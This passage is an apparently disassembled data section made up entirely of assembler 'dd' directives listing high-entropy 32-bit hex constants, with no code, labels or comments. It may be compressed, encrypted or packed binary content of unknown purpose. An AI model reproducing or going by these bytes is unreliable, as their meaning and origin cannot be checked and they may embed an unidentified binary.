0BFC49B0Fh, 0D50E69E6h dd 0E1D76CD1h, 0D89795EBh, 0EB813991h, 233D3F0Dh, 6DA70034h dd 40D5E29Fh, 8B804F20h, 0C0D08850h, 0AE718E51h, 88420B2Bh dd 0A318F300h, 9EFF82Ch, 0BBAC12Ah, 1C5ED042h, 0D0465Eh dd 0D198899Fh, 0E4D2FF61h, 0B89797D9h, 0D180D091h, 2DA2C1A1h dd 59FE7304h, 688D64C4h, 9EE08EF4h, 46010CC8h, 8801B419h dd 8DB00832h, 75E8C88Fh, 7B630062h, 0E89805C2h, 1D069C9Bh dd 0E1DC254Fh, 56D30771h, 7009174Dh, 7EC92E24h, 9804281Ah dd 3C48528h, 58F7C4B0h, 2480A88Dh, 0AC6F91DCh, 9D15A31Fh dd 9BC50640h, 1523122h, 998E46FAh, 0D4C9BA1Bh, 8856D5B1h dd 0C3E1EBCh, 0C54E0ABEh, 0FE80C47Eh, 0ED9CDFF4h, 0BC2890EBh dd 36465E74h, 2D500276h, 0A1A0E978h, 0D8808C6Ah, 679A53F8h dd 24B94C90h, 78184271h, 1303FDECh, 829F2AB5h, 8AC01099h dd 59171FC6h, 45087EFh, 0DC88DE14h, 994E005Ah, 2B30B53Dh dd 0AB007581h, 0B41BF8C2h, 6C17FC0h, 1561892h, 404F7149h dd 0A4020894h, 0DE959961h, 42C100C4h, 0BC93063Dh, 0D8ED62D2h dd 0FAB3F02h, 4C76855Fh, 1ED9465Eh, 0E0009088h, 4C6E0B67h dd 62C20692h, 29BD8A77h, 38DDDA00h, 0D3C120A2h, 4B487BA6h dd 0D5D0C0FFh, 0CF508299h, 0E727FA84h, 0C4C845F3h, 0D9556038h dd 1591673h, 0FD24D441h, 8D21D8h, 17564A53h, 6F004341h dd 0F9DAFD70h, 48E8FA18h, 39BC18F3h, 4D3E0E8Ch, 20535AD1h dd 0EAB94ACCh, 5C10BC60h, 12453C80h, 0A5CBDD84h, 0E0844D48h dd 0D93D59C1h, 52758089h, 0F7E56471h, 0BA21F2Fh, 0B9C9CEF5h dd 4DBDE360h, 0CD6476E9h, 70C8DD58h, 21AB3825h, 0B3524200h dd 2C97654Ah, 0F48EDF4Ah, 0D3C03588h, 0F504B246h, 405E3860h dd 200475BFh, 7C08D9CCh, 1C821484h, 7717204Fh, 0EC003BACh dd 0D33EB1C7h, 0B6FB821h, 631385E1h, 1DB405h, 2D4115C4h dd 0E894256Dh, 5493344h, 0D4D16010h, 0BA2ED902h, 0C9B15AEBh dd 602F92CCh, 0E1A160D0h, 0FA0208B6h, 589D2D40h, 284D64C8h dd 0F162495Fh, 4AC10E2Ch, 0B8804FB2h, 40C6B186h, 0B50669Dh dd 5E73F3F5h, 0D97190D1h, 4D1C1118h, 0AB5D5A4Fh, 0C3F03A80h dd 0A07732h, 0CD989C5Ch, 99D4E967h, 404B24Bh, 0B4C017F3h dd 3D3F114h, 0C16316B5h, 9800D98Dh, 5EF0F70Ah, 60554882h dd 2366E1B1h, 564B7368h, 3DC8648Bh, 1974EC3h, 5E3A3F86h dd 804175CEh, 25F8B021h, 2BE77C6h, 86548AC7h, 45407CD7h dd 954EB8EDh, 108120C5h, 35023959h, 9941D874h, 0C701C84Ah dd 0B0342B2Dh, 0CDF224F2h, 0F9E30h, 0D3EA64F9h, 0B9077862h dd 0F3BFA70Eh, 641A89BAh, 39CF6EB8h, 0CDB5A8F8h, 10DC4082h dd 3EE33F79h, 1C42ADAFh, 826214DCh, 0D10459E8h, 0E2183Bh dd 2C4B3C5Bh, 0F5F8C086h, 465ED4BEh, 0C13B023Ch, 0C8C3DE4Eh dd 711D5634h, 0DB854B62h, 61039D54h, 90C26743h, 18D4F218h dd 0F0DBD2B1h, 58021747h, 0CADEC1B2h, 0F154D9E2h, 7421851h dd 743D4504h, 2ECE9128h, 0EDB44158h, 33750144h, 23D83E2Eh dd 9FFB003Dh, 0EAA93677h, 0D5354816h, 0EB4FFC81h, 0F504F86Dh dd 0E9423D64h, 0FC4BDF64h, 580CC6AAh, 463CB88Bh, 74026BC1h dd 0C3F64085h, 52DEA180h, 44C11834h, 0ED07F355h, 9CE94EE7h dd 24BD484Ch, 0AFC41954h, 0DC801044h, 1324A70Bh, 0BF9C7CC9h dd 5CA826A1h, 0D601CC46h, 0DC1C0338h, 1DFC7DDEh, 3900CDC9h dd 962C9A31h, 88830429h, 0E0566B24h, 75405B78h, 0F4B5B7F3h dd 6FD94E8Eh, 0BCA19371h, 0FEE879E8h, 1D1FBE9h, 11C8232Fh dd 0EB8070A5h, 0B917618Dh, 3440C515h, 0FBD508BAh, 6B7F4BF5h dd 16CE0F0Ch, 0FFDC037Eh, 0DA690047h, 570F5545h, 0C8ABAC6Bh dd 34DA09E7h, 88966800h, 94E9EC01h, 7CBF00E1h, 9753B6D9h dd 0E4001976h, 7E2D492Ah, 0BDEE18EAh, 5C000CB7h, 0B09F147Dh dd 4A3F2716h, 209FA8C6h, 31DC6FB0h, 41E73D8h, 0E8B1D1D3h dd 5440F0A4h, 0A0727528h, 0DECA970Ch, 27C081E3h, 0DC8779B9h dd 822D98Dh, 6661CF15h, 0F4CEC137h, 62021F1Eh, 0C925F98Bh dd 1C04559Ah, 0C8B48F69h, 8DCCC037h, 0D3005193h, 7DE942B9h dd 0C5E3AC6Ch, 403D05D9h, 7AC1AE80h, 650066CDh, 9AE90ACEh dd 5B2E5Ah, 0C25C10A9h, 32BD5925h, 4E42589Ch, 4DD01CEh dd 25C86255h, 24805A29h, 28B0EAEDh, 7654B498h, 300CE46h dd 63386ACCh, 4C91DFFFh, 0C19C6DA5h, 703E682Fh, 0A35C194h dd 5CECC0D2h, 0D480DA8Fh, 0EBC51470h, 5A78B00h, 3AC13F5Bh dd 404B029Ah, 1171059h, 28F8E0D2h, 0EB2F3500h, 694A5E31h dd 0E3E638A7h, 3741C82h, 827D405Ah, 0F5F778h, 0CB0C4906h dd 0C2F65C2Dh, 5E950780h, 20878BF3h, 0DD44C018h, 0C359F0Bh dd 0B44B8D80h, 0E963CD86h, 0F3119BF8h, 4E179023h, 3ABCF3F5h dd 0B5F4035h, 41553E8Ch, 7082CC62h, 0E008A6E0h, 9080FC11h dd 0A23EFD8Bh, 120969Fh, 298B9935h, 34DDFFADh, 0E1C2CA60h dd 7EF608C9h, 0F80FF484h, 0EA2D3EAAh, 6C115467h, 74696203h dd 76A8C143h, 0D899FF8Ah, 218D7F9h, 0C5055479h, 0AF91B3FAh dd 5EE42881h, 0DA224D08h, 4FE3090Dh, 70F131E9h, 3105491h dd 8C50F8BEh, 0B0179ECh, 0D7F8BE9Ah, 0A1DBEF59h, 3FC8FE3Dh dd 187494F6h, 0CDDE99C1h, 5941A5F7h, 0C4F50E60h, 0CF2231C3h dd 0AE6A8297h, 0A0649C82h, 3D13210Fh, 9850A78Dh, 0B4E54D47h dd 504C2888h, 0DC4ADCBCh, 6AEBCC59h, 0C95D240h, 458DF024h dd 0F0314652h, 515EEB79h, 0FEDE7C1Fh, 27F3B206h, 41A08010h dd 171580D2h, 0C3E478B0h, 74E66410h, 0C818CA92h, 338BC042h dd 91051D45h, 1380ABBh, 0CD1ED8ADh, 8A5CC0FCh, 0D9E778FAh dd 732CC01Bh, 5CA2DAC8h, 0D7467694h, 71A1226h, 0F08653B0h dd 8C6F9B0Dh, 0F9E3DB06h, 4A815DFFh, 0A558E0F6h, 23523409h dd 40985855h, 3C60051Ch, 12FD5629h, 0A64A0003h, 0ADC8A52Fh dd 0C3003532h, 0B3CD33E9h, 5A554907h, 350B059h, 0EC34F324h dd 9037E80Eh, 7795B700h, 4FBDFF2Dh, 0AE3D3F27h, 34143Ch dd 0A10CB6BCh, 0AD1DC3h, 39916180h, 0F83BE2BFh, 85009DFCh dd 25B687Eh, 0E3B9B8FDh, 8D0C247Ch, 7650ED80h, 2D771378h dd 70FF9224h, 882F00DEh, 0F7C8B320h, 99A27EAEh, 0E8EBF085h dd 0CE1188E4h, 0D509F4F4h, 145921E0h, 80F90840h, 30A0E08Eh dd 0A1F9E6DEh, 0BC0245A6h, 4AC134ABh, 13F45C01h, 0B014E67Fh dd 1CCA9DB5h, 0A44D4908h, 965F8BF4h, 62005C72h, 4AE72930h dd 179EF665h, 60EE5DFh, 78F864A0h, 3D15C0Ah, 9C03A867h dd 0E8CBD2B9h, 0F62E1F28h, 7200084h, 0D0F6712Dh, 7860A499h dd 0F35D4958h, 338CA0E5h, 44F00E7Fh, 0B433AD1Bh, 9E02E270h dd 0A16AFBD8h, 0F89CF835h, 5FE41C70h, 48D05BB6h, 40B0EAD7h dd 3C0DE9D1h, 1818E4BEh, 44AAB510h, 4AF0877Eh, 0C46DDF41h dd 0C5454709h, 9986F074h, 1859D2CAh, 1866DD3Dh, 7F01B41Bh dd 5AED5EDCh, 447A3C69h, 0A92255FCh, 2C7F10CCh, 6CD905C9h dd 0BE18D1F1h, 5C67F71Eh dd 2A50E680h, 5B39526Fh, 1DC7A1Bh, 214A407Eh, 7C707AC3h dd 2D3F88B2h, 6439FD27h, 4CC22094h, 29996012h, 808134C4h dd 0C82E28EDh, 9097CBBCh, 81723B10h, 40D4CA4Eh, 28EC1645h dd 41A5110h, 2A31C8EAh, 113FB4F2h, 79FE33C3h, 0A804D537h dd 96301036h, 0B7B75DE7h, 528F8200h, 0A0643A01h, 64A9B400h dd 67DF876Bh, 0E7FC00F8h, 8DB59AA8h, 0E27A0FCEh, 4865FB2Eh dd 2D053040h, 0F76E00FCh, 1C960198h, 89072F53h, 0F8278134h dd 0D14CF900h, 14809532h, 0FCC95D0Eh, 470AA302h, 4189B906h dd 10D1B255h, 0D488E44Fh, 66AFFBC0h, 899C067h, 8A1F1E61h dd 0B9C37A0Eh, 2B0D4CDh, 9818F4FBh, 0C978D649h, 1E4364A4h dd 62546EEDh, 220EA8F6h, 0C9BC025Dh, 0DE142237h, 1D01B852h dd 40EF965Ch, 0D02A8D03h, 59CCB204h, 87A68917h, 764E38B4h dd 0DC21C6F4h, 270041DAh, 82F6145Ch, 7E47A1Bh, 2CF331B8h dd 0D25B60D6h, 3F252FEAh, 3A087243h, 3E0AD392h, 82CD510h dd 148BC4BEh, 0BBCC4806h, 48A4032Ah, 8915FA0Eh, 975FFCCAh dd 81D291ACh, 0CD134CDDh, 167733F8h, 0E8F50DFDh, 4EA381A4h dd 0C1D46BEAh, 1FF64C42h, 806DBC05h, 4FBC04B9h, 0A68488C0h dd 62E8B17Ah, 0B786304h, 1CC4E1F5h, 1714D441h, 0C82E8DEFh dd 6700B408h, 0D5E446CAh, 0A44193h, 77BAD93Bh, 489D1E25h dd 9D00C4Ch, 0D97DEE1Ah, 18D9D180h, 0B0E600F3h, 0A7C7F02Eh dd 82024E63h, 0F5147868h, 69C4DE53h, 78D4707Eh, 7C670492h dd 88E74EEFh, 69016210h, 635CE95Bh, 7C781399h, 23EC2F4Eh dd 0C096003Bh, 4BB71FDDh, 0E8953F00h, 9B2985EBh, 3548165Ah dd 0D3644125h, 1E0E6B9h, 303FF3C7h, 0D5174730h, 26A992Fh dd 57E68258h, 5011DC1Dh, 19BB7F80h, 3E014669h, 6D418151h dd 3B5FB9h, 0C1359840h, 0C9AD5CEh, 0BC96115h, 4AED0680h dd 728389Dh, 0F55CCAF1h, 903A44DEh, 81416D20h, 6460345Bh dd 26892CCh, 0AB1EEA44h, 1C84CB27h, 3ED0B7B2h, 0BCC917BFh dd 3DE2D0A3h, 0E8E4EE30h, 0B86777BAh, 6CB120D8h, 0DB20B098h dd 61C324A4h, 0EBE74014h, 9F09DD8Eh, 0C1C12A85h, 0CDD4E2ACh dd 6EC481CFh, 32C53020h, 0ABF80011h, 9DC78763h, 25303FFCh dd 0F690099Eh, 120D74FAh, 0F10040Eh, 608344A4h, 5EE2FB80h dd 465E745Ch, 0AB2B0341h, 0C86E4A04h, 0C9C42D77h, 0E0A1BADAh dd 2F5A357Fh, 250F0C88h, 0F459D2DFh, 43AAD88h, 0E1337592h dd 3541D404h, 4DE810BAh, 0FF60096h, 1F8B5311h, 3A7FFDE0h dd 5A048063h, 29732D4Ah, 0B1A4708Dh, 471184h, 85594516h dd 0A04445Ah, 0C4D5C0EBh, 770F01BCh, 0D4B1381Bh, 8D2EEDBBh dd 0DC93B89Eh, 10718F4h, 52CE5CC1h, 0F496C675h, 0B100EA9Dh dd 47199EE9h, 0C04BED55h, 0EFF50380h, 8F0502F4h, 73566B0Ah dd 0AB1808C2h, 50047B7Ch, 0E9000496h, 0E6AA0D3Ch, 3909F287h dd 8A8BAC1h, 910EE0ACh, 5909034h, 4AF6408Eh, 9C860C3h dd 0E1B9BAC9h, 7540B4ACh, 4ADE0640h, 332CD7D3h, 47EB4997h dd 483F1112h, 7F624091h, 758872DAh, 5BC380D2h, 977C209Fh dd 0C120DE96h, 0EBFDF571h, 7E908F80h, 0FCA9FE16h, 69184379h dd 50445600h, 3EA46268h, 8A615C55h, 0B892E525h, 3A795051h dd 6B078518h, 0AC644ED9h, 99C16181h, 224A5C38h, 272116BCh dd 75C7694Dh, 6ED12578h, 0DF240880h, 297457DEh, 8C8C84Eh dd 28412042h, 995183Dh, 0C84EBBBAh, 81CEB190h, 0F54DC827h dd 75584F62h, 0F678FEB5h, 78BD2800h, 5FC2C6D2h, 8FE4884h dd 82167D84h, 0DB046648h, 1C6AAA34h, 6A561E75h, 0C0E745F6h dd 3F8B28Eh, 8C684BABh, 45AA94BCh, 0B4D241B4h, 115EC1B8h dd 649C1482h, 493D7324h, 3C53A02Dh, 7FBDA07Fh, 637809B7h dd 74F259C9h, 45D95210h, 4413F84Ch, 0DEF4E43Bh, 124836E3h dd 0D0913E41h, 443F1D71h, 429A64D4h, 0FC9EB1D4h, 0ACFA2D98h dd 782EC302h, 569142A7h, 0EA40064h, 0E6901E97h, 99453Dh dd 200B9A9Bh, 176F97Dh, 0B1DC2ABAh, 3B8D21C6h, 8BF70C40h dd 0E2C45F9Fh, 1466BDC9h, 0E4B8C597h, 0DE5067CCh, 287830Dh dd 0D01208E3h, 8D27554h, 79557700h, 8222A971h, 73E739CEh dd 51BB3F70h, 44CB2DEh, 30C7570h, 0D5EC00ECh, 6B521D8Ch dd 5FF7C1BFh, 3F252DB9h, 40BB405Ch, 7D9700DEh, 63CD840Dh dd 0CB09C26Eh, 0F99EB7B1h, 0F6010908h, 9500AC73h, 0F72FE721h dd 3691D70h, 1250802Ch, 745AAE88h, 5E8BB213h, 80457848h dd 0C226CA77h, 4C09CDBAh, 0C8B65FE3h, 4AEE5ED4h, 8F0431FBh dd 9A3EFC8Bh, 3658E4BEh, 948B0198h, 40479CABh, 34022A3Fh dd 94DCC41h, 0DC94DCh, 2E9D70DCh, 9B2553AEh, 99613005h dd 0F8BCBD0Dh, 9654D88h, 0CDF800ACh, 6B2C008Ch, 26BCACC2h dd 1BFEA161h, 4088D0A2h, 706D0234h, 0C8FAADBFh, 0CBB9E03Bh dd 0A78DCC80h, 22EC9AEAh, 94A05E66h, 0F380CC2Eh, 3015E33h dd 0EEB91B2Ch, 0B7001896h, 154A1C18h, 0B71198EFh, 465200Bh dd 926037E4h, 9A18700Eh, 0E2193E66h, 35EF00A3h, 8817D510h dd 6704B394h, 5CC32F44h, 606550C8h, 6F3A3143h, 0A2006DBEh dd 0F50F6B02h, 8F372Eh, 0AD44EBB3h, 4918DD8h, 25CA8CA3h dd 91841D7Dh, 316D81D4h, 68244475h, 883C4A3Fh, 8159D130h dd 60F00B8h, 40FB7763h, 9EDD7B2Dh, 94E14430h, 0E058F630h dd 5E9E575Dh, 7238C221h, 95C3877h, 0AF2F1h, 571A9ECh, 6BCADF10h dd 0BB9124BCh, 2F020471h, 0AA876E20h, 3BC3CC1Dh, 0C28DA163h dd 1DD864EDh, 0C0F69015h, 0F48CCA31h, 3894A16Bh, 144465Eh dd 0E8CEE07Ch, 20300A95h, 8D284031h, 562CAEF4h, 61EB468h dd 0E92CA960h, 8B2A3835h, 0C051C8B0h, 0A8A05E78h, 7398D701h dd 76629ED4h, 0F84E36F0h, 0B1D516B7h, 497880A6h, 1A405665h dd 208E04D3h, 0BB483D55h, 1E497C5Dh, 0A9501075h, 9C3C3FDBh dd 0E7FE6400h, 29834F63h, 653E8D14h, 6CA892F8h, 78E82380h dd 0BDF69E53h, 0FDB73E01h, 6EB9D39Dh, 0E8012E7h, 168CA290h dd 78D13D3Fh, 446AC9DEh, 84171420h, 0F220B3F4h, 13FE303Ch dd 0B796A5Ch, 0F8E1E597h, 8DB444DCh, 924A500h, 596D505Ch dd 12C0B2C1h, 56B87588h, 0F264F20Ch, 0A7BA303Ah, 52D59801h dd 7F61EC3Fh, 0C844F431h, 0D6B208F3h, 2EA330h, 305B8707h dd 36C4DCE0h, 0D1C07F27h, 895C1680h, 0E1146044h, 785D4340h dd 988D04E8h, 0AB4577D3h, 0D223342Fh, 98C7ED03h, 7C2A9843h dd 4D4813D3h, 0E984039h, 0CA2D4AF6h, 0AD06CE9h, 0F8725DC1h dd 2B2CAC00h, 0C371F3h, 1DBB248Fh, 74FD2786h, 400F562Fh dd 84F569CCh, 0C1D3E406h, 2440E392h, 6418212Fh, 2250AC6Bh dd 0C0B097CCh, 53F266D9h, 0C0A18D4Bh, 62731C0Ch, 10813055h dd 0DED9E802h, 0FDE3D44h, 0C3244C2Ch, 55CF262h, 0B09642C1h dd 8D2F24ECh, 38020032h, 6E0B239Dh, 1804B744h, 74F600B9h dd 27A2EB2Fh, 0CEA2E4Fh, 0C1ED7C03h, 935CE3BDh, 0D38178ECh dd 54E466A1h, 2774C8ACh, 0E8EE5274h, 7C7F865Eh, 3F287046h dd 5E708090h, 0EEBB0BD8h, 0D4C2A5B8h, 2A8274D1h, 81BBEC4Fh dd 5409553Ch, 0CEE93500h, 0C7DF3D89h, 0D0A414E8h, 7B00FC9Ch dd 97E9EBF9h, 0C1202F7h, 7E163h, 3411732Eh, 60DEDEA7h dd 301865CAh, 0E720617Dh, 82021BC9h, 8ADED747h, 0FFCEE025h dd 258CE805h, 0A420B903h, 0E0574B02h, 6ECB9E00h, 105676F5h dd 0F62507C1h dd 0D0E2FC27h, 8D618ED9h, 8F180E02h, 0C07FAD05h, 5BDEA27Ch dd 8874CB82h, 9219C0D2h, 1F6095ABh, 553E60A4h, 0A4A8A82Dh dd 71250073h, 0FFB6EBEDh, 0F65A49D0h, 12BACCE2h, 3C06CEE6h dd 20081B97h, 0CF20D01Fh, 9FB8205Fh, 20A77320h, 6775BD56h dd 805C0D80h, 0FA804A7Fh, 0A2398017h, 80520480h, 39D84F48h dd 80AC7E31h, 0D4803837h, 0A5298050h, 80202B80h, 5D808430h dd 0A4F283C9h, 2919F02h, 7503B5C7h, 7D51201Ah, 32E9CA20h dd 0D2097E87h, 36490E06h, 0E141B20Fh, 36CFD920h, 0B91116E4h dd 20473820h, 8A207FF1h, 25A12085h, 20703520h, 0D220E6B6h dd 981354AFh, 53944001h, 0F2517864h, 2090EA1Dh, 0DA62A301h dd 28B52F1h, 502410Ah, 5E220233h, 2894F02h, 3C0639F8h dd 0C29120D1h, 20874020h, 2E2096A8h, 0D0BB5462h, 6B8A4028h dd 0C49B3240h, 4C5F5B1h, 0FE04AAA0h, 9D29047Bh, 9A810B0Ch dd 40236E40h, 90688FA8h, 0D29FCCC1h, 0C01D3360h, 0B1201869h dd 0EB512029h, 66368420h, 295A597Fh, 0DBE46554h, 0C40A7A40h dd 461A1D1h, 4504F530h, 19830428h, 63FB304h, 40E93D2Fh dd 0D9C47844h, 0BC0440CDh, 712D042Eh, 0FA9B504h, 6F31B099h dd 1B23BB9h, 0F014F20h, 0ECCE0388h, 11177006h, 3CC1D364h dd 27A9F90Ch, 95A9E1C8h, 4922A877h, 73811066h, 1F203239h dd 9C056619h, 0D2F8A844h, 497D1106h, 73F19364h, 0C64EA04h dd 40987992h, 0BE40C81Eh, 469940E0h, 0C4A86740h, 49C1F59h dd 1812B925h, 7EC35857h, 80F3B180h, 29D848C6h, 80C385E9h dd 1C80F22Bh, 8CD08165h, 71CE03B9h, 494880B6h, 80B75A80h dd 0FA81D506h, 70CBE051h, 1B86D01h, 160192CCh, 10C4036Ah dd 10983379h, 3632AF81h, 0E8A26CE9h, 7005336Dh, 0A659AC44h dd 483EC04h, 7F06ACE4h, 0CD40111Bh, 76AA4034h, 64648940h dd 4C29963h, 580AB02Ah, 8943989Ch, 0F970D0FEh, 53CA499h dd 0DE09E4F5h, 0C087FC93h, 0C0E0F17Ch, 2007B210h, 7201E871h dd 32A73D38h, 506C9C9Dh, 4DE3E700h, 15AE4328h, 737D6B00h dd 0CA71C057h, 93EB0B2Ah, 0C8FE6DE9h, 6E988049h, 0EA9DA544h dd 3CEC00D9h, 19B103E8h, 0DE707C5Eh, 0EE981460h, 5950D6h dd 0D1820584h, 0E28DC2C9h, 19948197h, 7C299F97h, 0FFFA7503h dd 103C2DF0h, 61E40002h, 31DD481Ah, 9250C011h, 632018C7h dd 10192A7Ch, 0A0204A5Fh, 88C000DAh, 2300F6FCh, 9FA3A6CDh dd 77529F2h, 0A42D4224h, 7BF3E176h, 63F1E8E4h, 0F55DEE09h dd 813CCB81h, 80816FB6h, 12038D4h, 18056E72h, 0A0C1BF03h dd 188B48D3h, 8086A03Ch, 920C28C6h, 50152E75h, 8B4204AFh dd 0A81D2BB9h, 0B2471D9Ch, 59DF0303h, 0BA68331Ah, 0C1A725D8h dd 0BC6E1F8Dh, 14D23C80h, 7434D823h, 158E0C3h, 0E7990013h dd 0AE9E1005h, 24063D89h, 68908DF6h, 15F57D40h, 0A8CAED75h dd 0EBBB7C00h, 4981F2F1h, 0F59B7850h, 376FD00h, 0BE7409C4h dd 539A1FFCh, 0DEF083DFh, 0A017D88Ch, 8119759Dh, 0D6FC05D0h dd 8518C12Dh, 4CF603F3h, 4CA15F90h, 0F79043EBh, 759ADCF0h dd 9C83CE5h, 0E8809857h, 503488h, 0AEF89320h, 466F979Ah dd 0C11C7500h, 0CDBEA954h, 9179017Eh, 7BDD6ABFh, 83388DD3h dd 8FC870D5h, 9E4B8Dh, 0D80375B0h, 801C3B1Ah, 0E4E9F504h dd 48426600h, 50D80118h, 634CD4B4h, 0C990B068h, 0AFF61017h dd 0F0E0F8F5h, 0ED057CFEh, 0A4E2D853h, 48CE0C99h, 80960A34h dd 8D15F797h, 0BCC591h, 2AB3CCF2h, 0E40F77A5h, 68C002Bh dd 195F8236h, 0CD288F20h, 3F0338A8h, 0AB8D4C2Bh, 0AE4000CAh dd 36FB5266h, 0B2005C69h, 0F6E5D763h, 3845BAB3h, 0C018CBEBh dd 76A2B8B6h, 0FF857407h, 405DE98Dh, 83A1E893h, 0E80EC6D8h dd 81217B92h, 0FA1F7552h, 5EAB820h, 87D5CA39h, 0ECECDEh dd 0AC3190F4h, 74045B78h, 5059618Dh, 80F8DE5Ch, 48226020h dd 2886112h, 758EECEDh, 0EC823C1Eh, 0E848C024h, 5B80EBFAh dd 94525063h, 92A94028h, 240CF82Dh, 24C71AC4h, 0CBCA3171h dd 84668842h, 34C147ACh, 89E00703h, 8FE80FECh, 0D28C3AC6h dd 0E6355E18h, 0FC129149h, 6801A4F8h, 5759417h, 7490871Ch dd 0EB10BC8Ch, 90EC9D9h, 0A39B0DF8h, 918C3098h, 6560D0E6h dd 90E2EC30h, 0CA200FCh, 0F5FA8EC6h, 0E732E605h, 60ED2077h dd 1AA9858h, 24C13906h, 0E9E1FF8Ah, 487D00F5h, 0BE1493D2h dd 0FC8D8505h, 94A4447Eh, 0A50D1C23h, 7EC38CDh, 0E8C8A1FBh dd 68CF3889h, 0FBF26891h, 1CB23FD8h, 1860CD24h, 3CF03D46h dd 0E4A4DEF8h, 84BA5C4h, 0BC3B71F9h, 8EEB80B0h, 0E9145C35h dd 22663F75h, 0DF11A883h, 30000976h, 7CF27EE8h, 66A24A7h dd 0F759303h, 7093406Ch, 0DCFD8413h, 33714F10h, 0E09510D2h dd 92D4DE89h, 3A6026CCh, 2D010BC4h, 0CC00F074h, 17EAA857h dd 0ECF088h, 940602FEh, 0AD243AA0h, 0E31FF5B8h, 6E002B96h dd 0E99A498h, 8D140ACBh, 9C76C7h, 8736A8B9h, 710068CAh dd 2359C69Ch, 0ED18AF5h, 691ED63Dh, 836F4121h, 65E2F0DAh dd 0BB94EA18h, 3E162930h, 8200E128h, 0B00323B3h, 0E3E6FE7h dd 5ECD94EDh, 0E3D90CCAh, 7E10ECh, 17767F93h, 4F5DFC75h dd 4DCA0600h, 65B91357h, 0C65E1A14h, 0DC40F155h, 307B24BAh dd 700069FAh, 0FEFC23A8h, 0C3630DF6h, 2A2F5C20h, 232313Ch dd 0C175053Dh, 80B48914h, 8E263394h, 25862C18h, 0B8D49530h dd 3C84F727h, 0E0087CAh, 2C20498Ch, 0C9DEAC39h, 0D23A1EDCh dd 0E8E680C0h, 457B204h, 10DE9326h, 5158CDD4h, 0D22183ACh dd 0F21ED440h, 30C49889h, 0E7FE241Ch, 49BC387Ch, 8D16B849h dd 0B300E07Eh, 0F43ED4B2h, 902220FFh, 0A809169Ch, 305F00EFh dd 0E783C4A1h, 0F7145F09h, 554C82F8h, 261D013Dh, 1883005h dd 7F174A00h, 76B54DD6h, 6008A229h, 805A8860h, 80C4B23Bh dd 0A0068F7h, 35385869h, 7514CA01h, 0B2CD8EE6h, 0DD0A8C22h dd 84B4C5F0h, 0C5828A68h, 9C9822A8h, 0FF751480h, 3201DF47h dd 76A735B2h, 11BF4827h, 0CC39CA14h, 2490613h, 83F02FCh dd 0DD1AC04Ch, 6069F5C6h, 2661042Ch, 406C667Eh, 0E74A063Fh dd 27AA090h, 9B99D0E7h, 0DB3E0500h, 87B8DF97h, 0FF1D26FCh dd 0EF3908B4h, 6DA260Bh, 9038D0F8h, 0BC9E5880h, 0EB696D20h dd 6B941248h, 0A4201068h, 9B10E37h, 0B300D2E7h, 0B49BFB0Bh dd 86F00A0h, 53540377h, 8D1CE198h, 1B09BC93h, 4740A29Ah dd 80F204F7h, 698714C4h, 16668A80h, 3F501D9h, 799F4D11h dd 401C24B9h, 487E4CFCh, 3F0590A0h, 7875091Fh, 6C80A0AEh dd 0B5DC6ECEh, 8DFB0BE6h, 0D024336Dh, 2B0CF928h, 0A03EDCCCh dd 20E46998h, 20C85CB2h, 5A00A597h, 57FA931Ch, 75678Eh dd 7D31747h, 0CCEADEB5h, 480389E8h, 1EF68781h, 6826A275h dd 70BB8C84h, 0CD863E36h, 1832A918h, 1978EBFCh, 10C0F576h dd 0E535C311h, 0B52A0073h, 0BC019A5Bh, 1B616075h, 2B76FB20h dd 693F5047h, 3C94AE4Ch, 884C6412h, 906BB8CEh, 90C02EB8h dd 65A6806Ch, 32F47524h, 0CC54100Fh, 0BF6140CDh, 20DD1BDEh dd 672C5FAEh, 0F542508Ah, 2480F9E9h, 40101324h, 4A2A3F28h dd 10A07BF5h, 7319885h, 6C7598F6h, 0DA480C01h, 2AC28048h dd 8CBF878h, 0CD3402F3h, 5C090A9h, 8A6D0C61h, 0F3062DDh dd 0C0D9EF37h, 90322402h, 28CD8DD8h, 0E42F43h, 0AEF1E6AAh dd 0DA4885D5h, 6A807CB3h dd 0FF866F8Dh, 0BC951E8Ch, 94093968h, 0C4809B85h, 0C914DF6h dd 2890E93Ch, 0CDF408EAh, 114C6150h, 758C44A0h, 6C58C42Ch dd 0F06FF762h, 450F24C4h, 0DF1002F0h, 0F8EA0D36h, 0B0DDB440h dd 8310B760h, 40F0605h, 9A8DFC84h, 24489044h, 3000339Ch dd 136535D2h, 5FFD86C9h, 0B96481C8h, 0F3288587h, 0C8732675h dd 0DA601042h, 0E89A260Eh, 3C751F10h, 5F1890B5h, 11F61069h dd 63F88C51h, 4A2402F8h, 2C958Dh, 574B07B5h, 75278601h dd 0A2E0DD6Dh, 4D8E588Bh, 1D670C05h, 558405FCh, 2BE4D168h dd 0C6EC02EDh, 19EF26D4h, 32DA13F4h, 7511B25Ch, 890749C1h dd 60FECC02h, 726B1800h, 383D6469h, 3E30FD9Ah, 1050CCF5h dd 3D793659h, 808C7CFBh, 9B98C6CBh, 0DE15AFE2h, 98C28ECh dd 1BB8F87Eh, 9CA4Ch, 2F2030D4h, 6CF02200h, 4F5FCD70h dd 0D7F826D3h, 683E00C0h, 9456EE0Dh, 50F3DE2Eh, 165C03BDh dd 200810EFh, 0D0BBEB0h, 202AE386h, 39204094h, 1005007Bh dd 88A42738h, 2640E5FFh, 22FE0248h, 0DF0F45B8h, 688914D4h dd 0E7B41088h, 2CA2631h, 3E0AA8D8h, 0A05EE8A4h, 0B8A11AA0h dd 2FE820B9h, 0EB583490h, 0A4E82CA0h, 5ED1762h, 0AF58803Eh dd 37068536h, 18A2DE92h, 0C3710071h, 0FCDD29FEh, 0FD0724F6h dd 1AB7619Dh, 0CD0FEC90h, 0B3720095h, 21753981h, 17003683h dd 0DEF50CEEh, 3F43023Ch, 73076938h, 51151F7Ah, 35D38F89h dd 0F91C2138h, 7BA03325h, 0B5802494h, 770352FFh, 0D44B8BAh dd 6F0DDDCEh, 234828F8h, 0BA983F96h, 226248DAh, 282A3899h dd 59AA7513h, 0ECDCF440h, 678717h, 50F05769h, 0ED253732h dd 81D58D01h, 7538E50Eh, 31F320h, 14842D62h, 5CE3DC4Dh dd 0A0511D79h, 32438B8h, 0CBF776FFh, 0FC50A771h, 3AD139Ah dd 1AF551CDh, 67F87504h, 3B5C0F73h, 15F074F7h, 8D000376h dd 1D4C5BD4h, 1F7D3116h, 0C526FAD1h, 40239ADEh, 0C99787C0h dd 0F500E30Bh, 4ED86AE4h, 0E463C0D5h, 80CA5639h, 2B1D1Eh dd 0DFD0B2B3h, 0FCA0490Eh, 34FF068Dh, 2A12B408h, 5CD139EBh dd 0F841D597h, 0EE0242D6h, 